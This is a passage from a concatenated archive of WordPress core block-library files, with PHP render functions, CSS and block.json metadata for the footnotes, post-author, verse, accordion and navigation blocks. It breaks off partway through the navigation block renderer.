* @return string Returns the HTML representing the footnotes.
*/
function render_block_core_footnotes( $attributes, $content, $block ) {
// Bail out early if the post ID is not set for some reason.
if ( empty( $block->context['postId'] ) ) {
return '';
}
if ( post_password_required( $block->context['postId'] ) ) {
return '';
}
$footnotes = get_post_meta( $block->context['postId'], 'footnotes', true );
if ( ! $footnotes ) {
return '';
}
$footnotes = json_decode( $footnotes, true );
if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) {
return '';
}
$wrapper_attributes = get_block_wrapper_attributes();
$footnote_index = 1;
$block_content = '';
foreach ( $footnotes as $footnote ) {
// Translators: %d: Integer representing the number of return links on the page.
$aria_label = sprintf( __( 'Jump to footnote reference %1$d' ), $footnote_index );
$block_content .= sprintf(
'<li id="%1$s">%2$s <a href="#%1$s-link" aria-label="%3$s">↩︎</a></li>',
esc_attr( $footnote['id'] ),
wp_kses_post( $footnote['content'] ),
esc_attr( $aria_label )
);
++$footnote_index;
}
return sprintf(
'<ol %1$s>%2$s</ol>',
$wrapper_attributes,
$block_content
);
}
/**
* Registers the `core/footnotes` block on the server.
*
* @since 6.3.0
*/
function register_block_core_footnotes() {
register_block_type_from_metadata(
__DIR__ . '/footnotes',
array(
'render_callback' => 'render_block_core_footnotes',
)
);
}
add_action( 'init', 'register_block_core_footnotes' );
/**
* Registers the footnotes meta field required for footnotes to work.
*
* @since 6.5.0
*/
function register_block_core_footnotes_post_meta() {
$post_types = get_post_types( array( 'show_in_rest' => true ) );
foreach ( $post_types as $post_type ) {
// Only register the meta field if the post type supports the editor, custom fields, and revisions.
if (
post_type_supports( $post_type, 'editor' ) &&
post_type_supports( $post_type, 'custom-fields' ) &&
post_type_supports( $post_type, 'revisions' )
) {
register_post_meta(
$post_type,
'footnotes',
array(
'show_in_rest' => true,
'single' => true,
'type' => 'string',
'revisions_enabled' => true,
)
);
}
}
}
/*
* Most post types are registered at priority 10, so use priority 20 here in
* order to catch them.
*/
add_action( 'init', 'register_block_core_footnotes_post_meta', 20 );
/**
* Adds the footnotes field to the revisions display.
*
* @since 6.3.0
*
* @param array $fields The revision fields.
* @return array The revision fields.
*/
function wp_add_footnotes_to_revision( $fields ) {
$fields['footnotes'] = __( 'Footnotes' );
return $fields;
}
add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' );
/**
* Gets the footnotes field from the revision for the revisions screen.
*
* @since 6.3.0
*
* @param string $revision_field The field value, but $revision->$field
* (footnotes) does not exist.
* @param string $field The field name, in this case "footnotes".
* @param object $revision The revision object to compare against.
* @return string The field value.
*/
function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) {
return get_metadata( 'post', $revision->ID, $field, true );
}
add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 );
comment-edit-link/style.min.css 0000644 00000000062 15237550571 0012530 0 ustar 00 .wp-block-comment-edit-link{box-sizing:border-box} comment-edit-link/style-rtl.min.css 0000644 00000000062 15237550571 0013327 0 ustar 00 .wp-block-comment-edit-link{box-sizing:border-box} comment-edit-link/style.css 0000644 00000000071 15237550571 0011746 0 ustar 00 .wp-block-comment-edit-link {
box-sizing: border-box;
} comment-edit-link/style-rtl.css 0000644 00000000071 15237550571 0012545 0 ustar 00 .wp-block-comment-edit-link {
box-sizing: border-box;
} comment-edit-link/block.json 0000644 00000002642 15237550571 0012067 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/comment-edit-link",
"title": "Comment Edit Link",
"category": "theme",
"ancestor": [ "core/comment-template" ],
"description": "Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.",
"textdomain": "default",
"usesContext": [ "commentId" ],
"attributes": {
"linkTarget": {
"type": "string",
"default": "_self"
}
},
"supports": {
"anchor": true,
"html": false,
"color": {
"link": true,
"gradients": true,
"text": false,
"__experimentalDefaultControls": {
"background": true,
"link": true
}
},
"spacing": {
"margin": true,
"padding": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"textAlign": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true
}
},
"style": "wp-block-comment-edit-link"
}
query-pagination-previous/block.json 0000644 00000002055 15237550571 0013713 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/query-pagination-previous",
"title": "Previous Page",
"category": "theme",
"parent": [ "core/query-pagination" ],
"description": "Displays the previous posts page link.",
"textdomain": "default",
"attributes": {
"label": {
"type": "string"
}
},
"usesContext": [
"queryId",
"query",
"paginationArrow",
"showLabel",
"enhancedPagination"
],
"supports": {
"anchor": true,
"reusable": false,
"html": false,
"color": {
"gradients": true,
"text": false,
"__experimentalDefaultControls": {
"background": true
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
}
}
}
post-author.php 0000644 00000005256 15237550571 0007564 0 ustar 00 <?php
/**
* Server-side rendering of the `core/post-author` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-author` block on the server.
*
* @since 5.9.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
* @return string Returns the rendered author block.
*/
function render_block_core_post_author( $attributes, $content, $block ) {
if ( ! isset( $block->context['postId'] ) ) {
$author_id = get_query_var( 'author' );
} else {
$author_id = get_post_field( 'post_author', $block->context['postId'] );
}
if ( empty( $author_id ) ) {
return '';
}
if ( isset( $block->context['postType'] ) && ! post_type_supports( $block->context['postType'], 'author' ) ) {
return '';
}
$avatar = ! empty( $attributes['avatarSize'] ) ? get_avatar(
$author_id,
$attributes['avatarSize']
) : null;
$link = get_author_posts_url( $author_id );
$author_name = get_the_author_meta( 'display_name', $author_id );
if ( ! empty( $attributes['isLink'] && ! empty( $attributes['linkTarget'] ) ) ) {
$author_name = sprintf( '<a href="%1$s" target="%2$s">%3$s</a>', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $author_name );
}
$byline = ! empty( $attributes['byline'] ) ? $attributes['byline'] : false;
$classes = array();
if ( isset( $attributes['itemsJustification'] ) ) {
$classes[] = 'items-justified-' . $attributes['itemsJustification'];
}
if ( isset( $attributes['textAlign'] ) ) {
$classes[] = 'has-text-align-' . $attributes['textAlign'];
}
if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
$classes[] = 'has-link-color';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );
return sprintf( '<div %1$s>', $wrapper_attributes ) .
( ! empty( $attributes['showAvatar'] ) ? '<div class="wp-block-post-author__avatar">' . $avatar . '</div>' : '' ) .
'<div class="wp-block-post-author__content">' .
( ! empty( $byline ) ? '<p class="wp-block-post-author__byline">' . wp_kses_post( $byline ) . '</p>' : '' ) .
'<p class="wp-block-post-author__name">' . $author_name . '</p>' .
( ! empty( $attributes['showBio'] ) ? '<p class="wp-block-post-author__bio">' . get_the_author_meta( 'user_description', $author_id ) . '</p>' : '' ) .
'</div>' .
'</div>';
}
/**
* Registers the `core/post-author` block on the server.
*
* @since 5.9.0
*/
function register_block_core_post_author() {
register_block_type_from_metadata(
__DIR__ . '/post-author',
array(
'render_callback' => 'render_block_core_post_author',
)
);
}
add_action( 'init', 'register_block_core_post_author' );
post-author/style.min.css 0000644 00000000546 15237550571 0011504 0 ustar 00 .wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0} post-author/style-rtl.min.css 0000644 00000000545 15237550571 0012302 0 ustar 00 .wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0} post-author/style.css 0000644 00000000664 15237550571 0010723 0 ustar 00 .wp-block-post-author {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
}
.wp-block-post-author__byline {
width: 100%;
margin-top: 0;
margin-bottom: 0;
font-size: 0.5em;
}
.wp-block-post-author__avatar {
margin-right: 1em;
}
.wp-block-post-author__bio {
margin-bottom: 0.7em;
font-size: 0.7em;
}
.wp-block-post-author__content {
flex-grow: 1;
flex-basis: 0;
}
.wp-block-post-author__name {
margin: 0;
} post-author/editor.css 0000644 00000001576 15237550571 0011054 0 ustar 00 /**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
.wp-block-post-author__transform {
background: #f0f0f0;
border-radius: 2px;
margin: 16px;
padding: 16px;
} post-author/editor-rtl.css 0000644 00000001576 15237550572 0011654 0 ustar 00 /**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
.wp-block-post-author__transform {
background: #f0f0f0;
border-radius: 2px;
margin: 16px;
padding: 16px;
} post-author/editor-rtl.min.css 0000644 00000000137 15237550572 0012426 0 ustar 00 .wp-block-post-author__transform{background:#f0f0f0;border-radius:2px;margin:16px;padding:16px} post-author/style-rtl.css 0000644 00000000663 15237550572 0011522 0 ustar 00 .wp-block-post-author {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
}
.wp-block-post-author__byline {
width: 100%;
margin-top: 0;
margin-bottom: 0;
font-size: 0.5em;
}
.wp-block-post-author__avatar {
margin-left: 1em;
}
.wp-block-post-author__bio {
margin-bottom: 0.7em;
font-size: 0.7em;
}
.wp-block-post-author__content {
flex-grow: 1;
flex-basis: 0;
}
.wp-block-post-author__name {
margin: 0;
} post-author/block.json 0000644 00000003645 15237550572 0011041 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/post-author",
"title": "Author (deprecated)",
"category": "theme",
"description": "This block is deprecated. Please use the Avatar block, the Author Name block, and the Author Biography block instead.",
"textdomain": "default",
"attributes": {
"textAlign": {
"type": "string"
},
"avatarSize": {
"type": "number",
"default": 48
},
"showAvatar": {
"type": "boolean",
"default": true
},
"showBio": {
"type": "boolean"
},
"byline": {
"type": "string"
},
"isLink": {
"type": "boolean",
"default": false,
"role": "content"
},
"linkTarget": {
"type": "string",
"default": "_self",
"role": "content"
}
},
"usesContext": [ "postType", "postId", "queryId" ],
"supports": {
"inserter": false,
"anchor": true,
"html": false,
"spacing": {
"margin": true,
"padding": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"radius": true,
"color": true,
"width": true,
"style": true
}
},
"filter": {
"duotone": true
}
},
"selectors": {
"filter": {
"duotone": ".wp-block-post-author .wp-block-post-author__avatar img"
}
},
"editorStyle": "wp-block-post-author-editor",
"style": "wp-block-post-author"
}
post-author/editor.min.css 0000644 00000000137 15237550572 0011627 0 ustar 00 .wp-block-post-author__transform{background:#f0f0f0;border-radius:2px;margin:16px;padding:16px} verse/style.min.css 0000644 00000000237 15237550572 0010341 0 ustar 00 pre.wp-block-verse{box-sizing:border-box;min-width:1em;overflow:auto;white-space:pre-wrap;word-break:break-word}:where(pre.wp-block-verse){font-family:inherit} verse/style-rtl.min.css 0000644 00000000237 15237550572 0011140 0 ustar 00 pre.wp-block-verse{box-sizing:border-box;min-width:1em;overflow:auto;white-space:pre-wrap;word-break:break-word}:where(pre.wp-block-verse){font-family:inherit} verse/style.css 0000644 00000000277 15237550572 0007563 0 ustar 00 pre.wp-block-verse {
box-sizing: border-box;
overflow: auto;
white-space: pre-wrap;
min-width: 1em;
word-break: break-word;
}
:where(pre.wp-block-verse) {
font-family: inherit;
} verse/style-rtl.css 0000644 00000000277 15237550572 0010362 0 ustar 00 pre.wp-block-verse {
box-sizing: border-box;
overflow: auto;
white-space: pre-wrap;
min-width: 1em;
word-break: break-word;
}
:where(pre.wp-block-verse) {
font-family: inherit;
} verse/block.json 0000644 00000003300 15237550572 0007664 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/verse",
"title": "Poetry",
"category": "text",
"description": "Insert poetry. Use special spacing formats. Or quote song lyrics.",
"keywords": [ "poetry", "poem", "verse", "stanza", "song", "lyrics" ],
"textdomain": "default",
"attributes": {
"content": {
"type": "rich-text",
"source": "rich-text",
"selector": "pre",
"__unstablePreserveWhiteSpace": true,
"role": "content"
}
},
"supports": {
"anchor": true,
"background": {
"backgroundImage": true,
"backgroundSize": true,
"__experimentalDefaultControls": {
"backgroundImage": true
}
},
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true
}
},
"dimensions": {
"minHeight": true,
"__experimentalDefaultControls": {
"minHeight": false
}
},
"typography": {
"fontSize": true,
"__experimentalFontFamily": true,
"lineHeight": true,
"textAlign": true,
"__experimentalFontStyle": true,
"__experimentalFontWeight": true,
"__experimentalLetterSpacing": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalWritingMode": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"spacing": {
"margin": true,
"padding": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"__experimentalBorder": {
"radius": true,
"width": true,
"color": true,
"style": true
},
"interactivity": {
"clientNavigation": true
}
},
"style": "wp-block-verse",
"editorStyle": "wp-block-verse-editor"
}
accordion.php 0000644 00000002173 15237550572 0007234 0 ustar 00 <?php
/**
* Server-side rendering of the `core/accordion` block.
*
* @package WordPress
* @since 6.9.0
*
* @param array $attributes The block attributes.
* @param string $content The block content.
*
* @return string Returns the updated markup.
*/
function render_block_core_accordion( $attributes, $content ) {
if ( ! $content ) {
return $content;
}
$p = new WP_HTML_Tag_Processor( $content );
$autoclose = $attributes['autoclose'] ? 'true' : 'false';
if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion' ) ) ) {
$p->set_attribute( 'data-wp-interactive', 'core/accordion' );
$p->set_attribute( 'data-wp-context', '{ "autoclose": ' . $autoclose . ', "accordionItems": [] }' );
// Only modify content if directives have been set.
$content = $p->get_updated_html();
}
return $content;
}
/**
* Registers the `core/accordion` block on server.
*
* @since 6.9.0
*/
function register_block_core_accordion() {
register_block_type_from_metadata(
__DIR__ . '/accordion',
array(
'render_callback' => 'render_block_core_accordion',
)
);
}
add_action( 'init', 'register_block_core_accordion' );
navigation.php 0000644 00000176461 15237550572 0007446 0 ustar 00 <?php
/**
* Server-side rendering of the `core/navigation` block.
*
* @package WordPress
*/
/**
* Returns the submenu visibility value with backward compatibility
* for the deprecated openSubmenusOnClick attribute.
*
* This function centralizes the migration logic from the boolean
* openSubmenusOnClick to the new submenuVisibility enum.
*
* Backward compatibility: WordPress applies default attribute values, so submenuVisibility
* will always have a value even for legacy blocks. We check the legacy openSubmenusOnClick
* attribute first to preserve original behavior for blocks saved before the migration.
*
* @since 6.9.0
*
* @param array $attributes Block attributes containing submenuVisibility and/or openSubmenusOnClick.
* @return string The visibility mode: 'hover', 'click', or 'always'.
*/
function block_core_navigation_get_submenu_visibility( $attributes ) {
$deprecated_open_submenus_on_click = $attributes['openSubmenusOnClick'] ?? null;
// For backward compatibility, prioritize the legacy attribute if present.
// Legacy blocks have openSubmenusOnClick in the database. Since WordPress applies
// default values, submenuVisibility will also have a value, but we check the legacy
// attribute first to preserve the original behavior. If the block has been updated
// and saved in the editor, then the deprecated attribute will be replaced by submenuVisibility.
if ( null !== $deprecated_open_submenus_on_click ) {
// Convert boolean to string: true -> 'click', false -> 'hover'.
return ! empty( $deprecated_open_submenus_on_click ) ? 'click' : 'hover';
}
$submenu_visibility = $attributes['submenuVisibility'] ?? null;
// Use submenuVisibility for migrated/new blocks (where openSubmenusOnClick is null).
return $submenu_visibility ?? 'hover';
}
/**
* Helper functions used to render the navigation block.
*
* @since 6.5.0
*/
class WP_Navigation_Block_Renderer {
/**
* Used to determine whether or not a navigation has submenus.
*
* @since 6.5.0
*/
private static $has_submenus = false;
/**
* Used to determine which blocks need an <li> wrapper.
*
* @since 6.5.0
*
* @var array
*/
private static $needs_list_item_wrapper = array(
'core/site-title',
'core/site-logo',
'core/social-links',
);
/**
* Keeps track of all the navigation names that have been seen.
*
* @since 6.5.0
*
* @var array
*/
private static $seen_menu_names = array();
/**
* Returns whether or not this is responsive navigation.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return bool Returns whether or not this is responsive navigation.
*/
private static function is_responsive( $attributes ) {
/**
* This is for backwards compatibility after the `isResponsive` attribute was been removed.
*/
$has_old_responsive_attribute = ! empty( $attributes['isResponsive'] ) && $attributes['isResponsive'];
return isset( $attributes['overlayMenu'] ) && 'never' !== $attributes['overlayMenu'] || $has_old_responsive_attribute;
}
/**
* Returns whether or not a navigation has a submenu.
*
* @since 6.5.0
*
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return bool Returns whether or not a navigation has a submenu and also sets the member variable.
*/
private static function has_submenus( $inner_blocks ) {
if ( true === static::$has_submenus ) {
return static::$has_submenus;
}
foreach ( $inner_blocks as $inner_block ) {
// If this is a page list then work out if any of the pages have children.
if ( 'core/page-list' === $inner_block->name ) {
$all_pages = get_pages(
array(
'sort_column' => 'menu_order,post_title',
'order' => 'asc',
)
);
foreach ( (array) $all_pages as $page ) {
if ( $page->post_parent ) {
static::$has_submenus = true;
break;
}
}
}
// If this is a navigation submenu then we know we have submenus.
if ( 'core/navigation-submenu' === $inner_block->name ) {
static::$has_submenus = true;
break;
}
}
return static::$has_submenus;
}
/**
* Determine whether the navigation blocks is interactive.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return bool Returns whether or not to load the view script.
*/
private static function is_interactive( $attributes, $inner_blocks ) {
$has_submenus = static::has_submenus( $inner_blocks );
$is_responsive_menu = static::is_responsive( $attributes );
$computed_visibility = block_core_navigation_get_submenu_visibility( $attributes );
$open_on_click = 'click' === $computed_visibility;
$show_submenu_icon = ! empty( $attributes['showSubmenuIcon'] );
return ( $has_submenus && ( $open_on_click || $show_submenu_icon ) ) || $is_responsive_menu;
}
/**
* Returns whether or not a block needs a list item wrapper.
*
* @since 6.5.0
*
* @param WP_Block $block The block.
* @return bool Returns whether or not a block needs a list item wrapper.
*/
private static function does_block_need_a_list_item_wrapper( $block ) {
/**
* Filter the list of blocks that need a list item wrapper.
*
* Affords the ability to customize which blocks need a list item wrapper when rendered
* within a core/navigation block.
* This is useful for blocks that are not list items but should be wrapped in a list
* item when used as a child of a navigation block.
*
* @since 6.5.0
*
* @param array $needs_list_item_wrapper The list of blocks that need a list item wrapper.
*/
$needs_list_item_wrapper = apply_filters( 'block_core_navigation_listable_blocks', static::$needs_list_item_wrapper );
return in_array( $block->name, $needs_list_item_wrapper, true );
}
/**
* Returns the markup for a single inner block.
*
* @since 6.5.0
*
* @param WP_Block $inner_block The inner block.
* @return string Returns the markup for a single inner block.
*/
private static function get_markup_for_inner_block( $inner_block ) {
$inner_block_content = $inner_block->render();
if ( ! empty( $inner_block_content ) ) {
if ( static::does_block_need_a_list_item_wrapper( $inner_block ) ) {
return '<li class="wp-block-navigation-item">' . $inner_block_content . '</li>';
}
}
return $inner_block_content;
}
/**
* Returns the html for blocks from a template part (without navigation container wrapper).
*
* @since 6.5.0
*
* @param WP_Block_List $blocks The list of blocks to render.
* @return string Returns the html for the template part blocks.
*/
private static function get_template_part_blocks_html( $blocks ) {
$html = '';
foreach ( $blocks as $block ) {
$html .= $block->render();
}
return $html;
}
/**
* Returns the html for the inner blocks of the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return string Returns the html for the inner blocks of the navigation block.
*/
private static function get_inner_blocks_html( $attributes, $inner_blocks ) {
$has_submenus = static::has_submenus( $inner_blocks );
$is_interactive = static::is_interactive( $attributes, $inner_blocks );
$style = static::get_styles( $attributes );
$class = static::get_classes( $attributes );
$container_attributes = get_block_wrapper_attributes(
array(
'class' => 'wp-block-navigation__container ' . $class,
'style' => $style,
)
);
$inner_blocks_html = '';
$is_list_open = false;
foreach ( $inner_blocks as $inner_block ) {
$inner_block_markup = static::get_markup_for_inner_block( $inner_block );
$p = new WP_HTML_Tag_Processor( $inner_block_markup );
$is_list_item = $p->next_tag( 'LI' );
if ( $is_list_item && ! $is_list_open ) {
$is_list_open = true;
$inner_blocks_html .= sprintf(
'<ul %1$s>',
$container_attributes
);
}
if ( ! $is_list_item && $is_list_open ) {
$is_list_open = false;
$inner_blocks_html .= '</ul>';
}
$inner_blocks_html .= $inner_block_markup;
}
if ( $is_list_open ) {
$inner_blocks_html .= '</ul>';
}
// Add directives to the submenu if needed.
if ( $has_submenus && $is_interactive ) {
$tags = new WP_HTML_Tag_Processor( $inner_blocks_html );
$inner_blocks_html = block_core_navigation_add_directives_to_submenu( $tags, $attributes );
}
return $inner_blocks_html;
}
/**
* Gets the inner blocks for the navigation block from the navigation post.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return WP_Block_List Returns the inner blocks for the navigation block.
*/
private static function get_inner_blocks_from_navigation_post( $attributes ) {
$navigation_post = get_post( $attributes['ref'] );
if ( ! isset( $navigation_post ) ) {
return new WP_Block_List( array(), $attributes );
}
// Only published posts are valid. If this is changed then a corresponding change
// must also be implemented in `use-navigation-menu.js`.
if ( 'publish' === $navigation_post->post_status ) {
$parsed_blocks = parse_blocks( $navigation_post->post_content );
// 'parse_blocks' includes a null block with '\n\n' as the content when
// it encounters whitespace. This code strips it.
$blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );
// Re-serialize, and run Block Hooks algorithm to inject hooked blocks.
// TODO: See if we can move the apply_block_hooks_to_content_from_post_object() call
// before the parse_blocks() call further above, to avoid the extra serialization/parsing.
$markup = serialize_blocks( $blocks );
$markup = apply_block_hooks_to_content_from_post_object( $markup, $navigation_post );
$blocks = parse_blocks( $markup );
// TODO - this uses the full navigation block attributes for the
// context which could be refined.
return new WP_Block_List( $blocks, $attributes );
}
}
/**
* Gets the inner blocks for the navigation block from the fallback.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return WP_Block_List Returns the inner blocks for the navigation block.
*/
private static function get_inner_blocks_from_fallback( $attributes ) {
$fallback_blocks = block_core_navigation_get_fallback_blocks();
// Fallback my have been filtered so do basic test for validity.
if ( empty( $fallback_blocks ) || ! is_array( $fallback_blocks ) ) {
return new WP_Block_List( array(), $attributes );
}
return new WP_Block_List( $fallback_blocks, $attributes );
}
/**
* Recursively disables overlay menu for navigation blocks within overlay blocks.
* Prevents nested overlays (inception).
*
* @since 6.5.0
*
* @param array $blocks Array of parsed block arrays.
* @return array Modified blocks with overlayMenu set to 'never' for navigation blocks.
*/
private static function disable_overlay_menu_for_nested_navigation_blocks( $blocks ) {
if ( empty( $blocks ) || ! is_array( $blocks ) ) {
return $blocks;
}
foreach ( $blocks as &$block ) {
if ( ! isset( $block['blockName'] ) ) {
continue;
}
// If this is a navigation block, disable its overlay menu.
if ( 'core/navigation' === $block['blockName'] ) {
if ( ! isset( $block['attrs'] ) ) {
$block['attrs'] = array();
}
$block['attrs']['overlayMenu'] = 'never';
// Mark this as a nested navigation within an overlay template part
// so we can handle its rendering differently.
$block['attrs']['_isWithinOverlayTemplatePart'] = true;
}
// Recursively process inner blocks.
if ( ! empty( $block['innerBlocks'] ) && is_array( $block['innerBlocks'] ) ) {
$block['innerBlocks'] = static::disable_overlay_menu_for_nested_navigation_blocks( $block['innerBlocks'] );
}
}
return $blocks;
}
/**
* Gets the inner blocks for the navigation block from an overlay template part.
*
* @since 6.5.0
*
* @param string $overlay_template_part_id The overlay template part ID in format "theme//slug".
* @param array $attributes The block attributes.
* @return WP_Block_List Returns the inner blocks for the overlay template part.
*/
private static function get_overlay_blocks_from_template_part( $overlay_template_part_id, $attributes ) {
if ( empty( $overlay_template_part_id ) || ! is_string( $overlay_template_part_id ) ) {
return new WP_Block_List( array(), $attributes );
}
// Parse the template part ID (format: "theme//slug").
// If it's just a slug, construct the full ID using the current theme.
$parts = explode( '//', $overlay_template_part_id, 2 );
if ( count( $parts ) === 2 ) {
// Already in "theme//slug" format (backward compatibility).
$theme = $parts[0];
$slug = $parts[1];
} else {
// Just a slug, use current theme.
$theme = get_stylesheet();
$slug = $overlay_template_part_id;
}
// Only query for template parts from the active theme.
if ( get_stylesheet() !== $theme ) {
return new WP_Block_List( array(), $attributes );
}
// Query for the template part post.
$template_part_query = new WP_Query(
array(
'post_type' => 'wp_template_part',
'post_status' => 'publish',
'post_name__in' => array( $slug ),
'tax_query' => array(
array(
'taxonomy' => 'wp_theme',
'field' => 'name',
'terms' => $theme,
),
),
'posts_per_page' => 1,
'no_found_rows' => true,
'lazy_load_term_meta' => false, // Do not lazy load term meta, as template parts only have one term.
)
);
$template_part_post = $template_part_query->have_posts() ? $template_part_query->next_post() : null;
if ( ! $template_part_post ) {
// Try to get from theme file if not in database.
// Construct the full template part ID for get_block_file_template.
$full_template_part_id = $theme . '//' . $slug;
$block_template = get_block_file_template( $full_template_part_id, 'wp_template_part' );
if ( isset( $block_template->content ) ) {
// Expand shortcodes before parsing blocks, matching the order in
// `render_block_core_template_part()`.
$content = shortcode_unautop( $block_template->content );
$content = do_shortcode( $content );
$parsed_blocks = parse_blocks( $content );
$blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );
// Disable overlay menu for any navigation blocks within the overlay to prevent nested overlays.
$blocks = static::disable_overlay_menu_for_nested_navigation_blocks( $blocks );
return new WP_Block_List( $blocks, $attributes );
}
return new WP_Block_List( array(), $attributes );
}
// Get the template part content.
$block_template = _build_block_template_result_from_post( $template_part_post );
if ( ! isset( $block_template->content ) ) {
return new WP_Block_List( array(), $attributes );
}
$parsed_blocks = parse_blocks( $block_template->content );
// 'parse_blocks' includes a null block with '\n\n' as the content when
// it encounters whitespace. This code strips it.
$blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );
// Re-serialize, and run Block Hooks algorithm to inject hooked blocks.
$markup = serialize_blocks( $blocks );
$markup = apply_block_hooks_to_content_from_post_object( $markup, $template_part_post );
// Expand shortcodes before parsing blocks, matching the order in
// `render_block_core_template_part()`.
$markup = shortcode_unautop( $markup );
$markup = do_shortcode( $markup );
$blocks = parse_blocks( $markup );
// Disable overlay menu for any navigation blocks within the overlay to prevent nested overlays.
$blocks = static::disable_overlay_menu_for_nested_navigation_blocks( $blocks );
return new WP_Block_List( $blocks, $attributes );
}
/**
* Gets the inner blocks for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block $block The parsed block.
* @return WP_Block_List Returns the inner blocks for the navigation block.
*/
private static function get_inner_blocks( $attributes, $block ) {
$inner_blocks = $block->inner_blocks;
// Ensure that blocks saved with the legacy ref attribute name (navigationMenuId) continue to render.
if ( array_key_exists( 'navigationMenuId', $attributes ) ) {
$attributes['ref'] = $attributes['navigationMenuId'];
}
// If:
// - the gutenberg plugin is active
// - `__unstableLocation` is defined
// - we have menu items at the defined location
// - we don't have a relationship to a `wp_navigation` Post (via `ref`).
// ...then create inner blocks from the classic menu assigned to that location.
if (
defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN &&
array_key_exists( '__unstableLocation', $attributes ) &&
! array_key_exists( 'ref', $attributes ) &&
! empty( block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ) )
